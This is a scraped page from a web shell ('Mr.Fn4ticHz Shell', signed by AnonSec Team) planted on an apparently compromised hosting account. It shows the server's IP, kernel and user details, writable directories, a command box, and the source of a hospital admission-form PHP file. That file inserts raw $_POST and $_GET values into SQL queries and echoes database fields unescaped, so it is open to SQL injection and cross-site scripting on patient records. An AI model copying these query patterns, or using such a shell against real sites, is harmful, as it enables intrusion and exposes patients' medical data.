Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.220.193.46
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in//Admission.php
<?php

include("../dbconnection.php");
include("headers.php");
include("menu.php");
if(isset($_POST['Submit'])) 
{
  $sql ="INSERT INTO prescription_records(prescription_id,HospitalName,BedNo,Dr,Addiction,PastHistory,KnownAllergies,Food,Medicine,Other,ConDischarge,Investigation,CBC,RFT,ABG,LFT,XRAY,ECHO2,CTMRI,PTPTT,ECG,USG,RPOthers,ER,IPD,OT,DRUGS1,Dose1,Route1,Frequency1,Date1) values('$_POST[prescriptionid]','$_POST[HospitalName]','$_POST[BedNo]','$_POST[Dr]','$_POST[Addiction]','$_POST[PastHistory]','$_POST[KnownAllergies]','$_POST[Food]','$_POST[Medicine]','$_POST[Other]','$_POST[ConDischarge]','$_POST[Investigation]','$_POST[CBC]','$_POST[RFT]','$_POST[ABG]','$_POST[LFT]','$_POST[XRAY]','$_POST[ECHO2]','$_POST[CTMRI]','$_POST[PTPTT]','$_POST[ECG]','$_POST[USG]','$_POST[RPOthers]','$_POST[ER]','$_POST[IPD]','$_POST[OT]','$_POST[DRUGS1]','$_POST[Dose1]','$_POST[Route1]','$_POST[Frequency1]','$_POST[Date1]')";
  if($qsql = mysqli_query($con,$sql))
  {
    echo "<script>alert('Administrator record inserted successfully...');</script>";
    echo "<script>window.location='prescriptionrecord.php?prescriptionid=$_GET[prescriptionid]';</script>";
	
  }
  else
  {
    echo mysqli_error($con);
  }
}
?>
<html>
    <head>
        		<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
table {
  border-collapse: collapse;
  border-spacing: 0;
  width: 100%;

}

th, td {
  text-align: left;
  padding: 8px;
}


.center {
   border: 1px solid grey;
   text-align:;
}
 
</style>
        <!-- Google Font: Source Sans Pro -->
  <!-- Select2 -->
  <link rel="stylesheet" href="/plugins/select2/css/select2.min.css">
  <link rel="stylesheet" href="/plugins/select2-bootstrap4-theme/select2-bootstrap4.min.css">

</head>
       
         
        <title>testing get</title>
            
   <script>
function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}

</script>
   <script>
function myFunction2() {
  var checkBox = document.getElementById("myCheck2");
  var text = document.getElementById("text2");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}

</script>
  <script>
function myFunction3() {
  var checkBox = document.getElementById("myCheck3");
  var text = document.getElementById("text3");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}

</script>
  <script>
function myFunction4() {
  var checkBox = document.getElementById("myCheck4");
  var text = document.getElementById("text4");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}

</script>

   
        </head>
          
   <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<form method="post" action="" name="Submit" onSubmit="return validateform()"> 
 <lageng>  <h2 align="center">Initial Assessment</h2></lageng>
  <fieldset> <div class="account-details">
  <div Class="center">
       <div> <label>&nbsp; U.H.I.D NO  </label></div>
       <div align="right"> <label for="Emergency"><a href="google.com">&nbsp; Edit  </a></label></div>
            
             <div> <label for="Emergency">&nbsp; Admission Date & Time</label></div>
               <div> <label for="Emergency">    </label></div>
                       </div></div>
                       <br>
                       <div Class="center">
   <label for="Emergency">&nbsp; Under Consultant: Dr </label>
   </div>       <div Class="center">
                    <div><label for="Emergency">&nbsp; Addiction:                              </label></div>
              <button style="height:30px;width:150px"> &nbsp; +Add more       </button>
            
                   <div> <label for="Emergency">&nbsp;Medical History:                                </label></div>
              <button style="height:30px;width:150px"> &nbsp;+Add more      </button>
              <div> <label for="Emergency">&nbsp; Family History :                               </label></div>
              <button style="height:30px;width:150px">&nbsp; +Add more      </button>
              <br>    <br>   
          </div>
          <div class="center">
    <h3 align="left">&nbsp; Diagnosis</h3>
     <br>
						   <h4>Medical Condition : </h4>
               <table  width='100%'>
               <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
	None</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
  
  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
					Diabetes</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td>
					</tr>
          <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;    
		Thyroid
		</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
    <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;				   
			PCOD
				</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
	                 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;	
							    
		Cholesterol
				</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
	               <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
						    		Physical Injury
</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>   <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
		Heart Condition
</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
	                 <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;					    
			Hypertension
      </td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
							Depression</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr> <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
			Physically challenged</td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
	                <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
			Mentally challenged</td>
      <td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td>		</tr>
	                  <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;					   
			Terminally Ill
      </td><td width='50%'><i class='fa fa-check' aria-hidden='true'></i></td></tr>
     

      <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
	                       Dependency:</td><td width='50%'></td></tr>

            <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
	                     Mode of Movement :</td><td width='50%'></td></tr>
  
			
            <tr>
<td width='50%'>&nbsp;  &nbsp; &nbsp; &nbsp;
	                         Level of Consciousness  :</td><td width='50%'></td></tr>
 </table>
						</div>
					<div class="center">
          <h4>Known Allergies: </h4>
<table>
          
          <tr>
          <td width='50%'>Allergen</td>
          <td width='50%'></td></td>
        </tr>
		 <tr>
          <td width='50%'>Category</td>
          <td width='50%'></td>
        </tr>
         <tr>
          <td width='50%'>Severity</td>
          <td width='50%'></td> </tr>
         		<tr>
          <td width='50%'>Reaction</td>
          <td width='50%'></td>
        </tr>
        	<tr>
          <td width='50%'>Reaction Type</td>
          <td width='50%'></td>
     </tr>
        	<tr>
          <td width='50%'>Reaction Date</td>
          <td width='50%'></td>
        </tr>
    
             
      </tbody>
    </table>
    <button style="height:30px;width:150px">&nbsp; +Add more      </button>
    <br><br>
    </div>
    <div class="center">

<h4 align="center">Immunization </h4>
<?php include('immuni.php')?>

</div>

<div class="center">
<h4 align="center">Vitals </h4>
					
<table id="example2" class="table table-bordered table-hover">
<th><strong> Date Time  </strong></th>
<th><strong>BP (mmhg) </strong></th>
<th><strong>Temp(c) </strong></th>
<th><strong> RR(Breaths/min) </strong></th>
          <th><strong>SPo2(%) </strong></th> 
          <th><strong>HR(bpm)    </strong></th>
                                               </tr>
                  </thead>
                 <tr><?php
		$sql ="SELECT * FROM Request_for_Admission WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$rs[Wt]</td>     
            <td>&nbsp;$rs[SPo2]</td>
             <td>&nbsp;$rs[RBS]</td>     
            <td>&nbsp;$rs[Temp]</td>
			 <td>&nbsp;$rs[Pulse]</td>     
            <td>&nbsp;$rs[BP]</td>	
                  
          
          ";
}
?>    
       </tr>
                         </table>
</div>
<div class="center">
<h4 align="center">Suggested Investigation </h4>
					
<table id="example2" class="table table-bordered table-hover">
<th><strong> CBC  </strong></th>
<th><strong>RFT </strong></th>
<th><strong>ABG</strong></th>
<th><strong> LFT </strong></th>
          <th><strong>X-Ray </strong></th> 
          <th><strong>SUGAR   </strong></th>
          <th><strong>2D ECHO   </strong></th>
          <th><strong>CT-MRI  </strong></th>
          <th><strong>PT-PTT  </strong></th>
          <th><strong>ECG </strong></th>
          <th><strong>USG</strong></th>
                                               </tr>
                  </thead>
                 <tr><?php
		$sql ="SELECT * FROM Request_for_Admission WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
  
     <tr>   <td>&nbsp;$rs[Wt]</td>     
            <td>&nbsp;$rs[SPo2]</td>
             <td>&nbsp;$rs[RBS]</td>     
            <td>&nbsp;$rs[Temp]</td>
			 <td>&nbsp;$rs[Pulse]</td>     
            <td>&nbsp;$rs[BP]</td>	
            <td>&nbsp;$rs[Wt]</td>     
            <td>&nbsp;$rs[SPo2]</td>
             <td>&nbsp;$rs[RBS]</td>     
            <td>&nbsp;$rs[Temp]</td>
			 <td>&nbsp;$rs[Pulse]</td>     
           
                  
          
          ";
}
?>    
       </tr>
                         </table>
</div>
	         <div class="center">
					
	 <table id="example2" class="table table-bordered table-hover">
							    <th>Drug</th>
							    <th>Dose</th>
							    <th>Route</th>
							    <th>Frequency</th>
							
							 
							    <tr>
							                        
<?php
		$sql ="SELECT * FROM medicinede WHERE patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;$rs[DRUGS]</td>     
            <td>&nbsp;$rs[Dose]</td>
           <td>&nbsp;$rs[Route]</td>
		   <td>&nbsp;$rs[Frequency]</td>
          </tr>                   
          
          ";
}   ?>
						</table>  
		 <button style="height:30px;width:150px">&nbsp; +Add more      </button>
      
    </div>
   

    </form>
    
     </div>
	     <p>&nbsp;</p>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<script src="/plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="/plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- Select2 -->
<script src="/plugins/select2/js/select2.full.min.js"></script>
<!-- Bootstrap4 Duallistbox -->
<script src="/plugins/bootstrap4-duallistbox/jquery.bootstrap-duallistbox.min.js"></script>
<!-- InputMask -->
<script src="/plugins/moment/moment.min.js"></script>
<script src="/plugins/inputmask/jquery.inputmask.min.js"></script>
<!-- date-range-picker -->
<script src="/plugins/daterangepicker/daterangepicker.js"></script>
<!-- bootstrap color picker -->
<script src="/plugins/bootstrap-colorpicker/js/bootstrap-colorpicker.min.js"></script>
<!-- Tempusdominus Bootstrap 4 -->
<script src="/plugins/tempusdominus-bootstrap-4/js/tempusdominus-bootstrap-4.min.js"></script>
<!-- Bootstrap Switch -->
<script src="/plugins/bootstrap-switch/js/bootstrap-switch.min.js"></script>
<!-- AdminLTE App -->
<script src="/dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="/dist/js/demo.js"></script>
<!-- Page script -->
<script>
<script type="application/javascript">
function loadmedicine(medicineid)
{
	if (window.XMLHttpRequest) 
	{
		// code for IE7+, Firefox, Chrome, Opera, Safari
		xmlhttp = new XMLHttpRequest();
	} else {
		// code for IE6, IE5
		xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
	}
	xmlhttp.onreadystatechange = function() {
		if (this.readyState == 4 && this.status == 200) {
			document.getElementById("totcost").value = this.responseText;
			document.getElementById("cost").value = this.responseText;
			document.getElementById("unit").value = 1;
		} 
	};
	xmlhttp.open("GET","ajaxmedicine.php?medicineid="+medicineid,true);
	xmlhttp.send();
}

function calctotalcost(cost,qty)
{
	 document.getElementById("totcost").value = parseFloat(cost) * parseFloat(qty);
} 

function validateform()
{
	if(document.frmpresrecord.prescriptionid.value == "")
	{
		alert("Prescription id should not be empty..");
		document.frmpresrecord.prescriptionid.focus();
		return false;
	}
	else if(document.frmpresrecord.medicine.value == "")
	{
		alert("Medicine field should not be empty..");
		document.frmpresrecord.medicine.focus();
		return false;
	}
	else if(document.frmpresrecord.cost.value == "")
	{
		alert("Cost should not be empty..");
		document.frmpresrecord.cost.focus();
		return false;
	}
	else if(document.frmpresrecord.unit.value == "")
	{
		alert("Unit should not be empty..");
		document.frmpresrecord.unit.focus();
		return false;
	}
	else if(document.frmpresrecord.select2.value == "")
	{
		alert("Dosage should not be empty..");
		document.frmpresrecord.select2.focus();
		return false;
	}
	else if(document.frmpresrecord.select.value == "" )
	{
		alert("Kindly select the status..");
		document.frmpresrecord.select.focus();
		return false;
	}
	else
	{
		return true;
	}
	
}
</script>
<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>
<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })

    //Datemask dd/mm/yyyy
    $('#datemask').inputmask('dd/mm/yyyy', { 'placeholder': 'dd/mm/yyyy' })
    //Datemask2 mm/dd/yyyy
    $('#datemask2').inputmask('mm/dd/yyyy', { 'placeholder': 'mm/dd/yyyy' })
    //Money Euro
    $('[data-mask]').inputmask()

    //Date range picker
    $('#reservationdate').datetimepicker({
        format: 'L'
    });
    //Date range picker
    $('#reservation').daterangepicker()
    //Date range picker with time picker
    $('#reservationtime').daterangepicker({
      timePicker: true,
      timePickerIncrement: 30,
      locale: {
        format: 'MM/DD/YYYY hh:mm A'
      }
    })
    //Date range as a button
    $('#daterange-btn').daterangepicker(
      {
        ranges   : {
          'Today'       : [moment(), moment()],
          'Yesterday'   : [moment().subtract(1, 'days'), moment().subtract(1, 'days')],
          'Last 7 Days' : [moment().subtract(6, 'days'), moment()],
          'Last 30 Days': [moment().subtract(29, 'days'), moment()],
          'This Month'  : [moment().startOf('month'), moment().endOf('month')],
          'Last Month'  : [moment().subtract(1, 'month').startOf('month'), moment().subtract(1, 'month').endOf('month')]
        },
        startDate: moment().subtract(29, 'days'),
        endDate  : moment()
      },
      function (start, end) {
        $('#reportrange span').html(start.format('MMMM D, YYYY') + ' - ' + end.format('MMMM D, YYYY'))
      }
    )

    //Timepicker
    $('#timepicker').datetimepicker({
      format: 'LT'
    })

    //Bootstrap Duallistbox
    $('.duallistbox').bootstrapDualListbox()

    //Colorpicker
    $('.my-colorpicker1').colorpicker()
    //color picker with addon
    $('.my-colorpicker2').colorpicker()

    $('.my-colorpicker2').on('colorpickerChange', function(event) {
      $('.my-colorpicker2 .fa-square').css('color', event.color.toString());
    });

    $("input[data-bootstrap-switch]").each(function(){
      $(this).bootstrapSwitch('state', $(this).prop('checked'));
    });

  })
</script>
</body>
</html>

Anon7 - 2022
AnonSec Team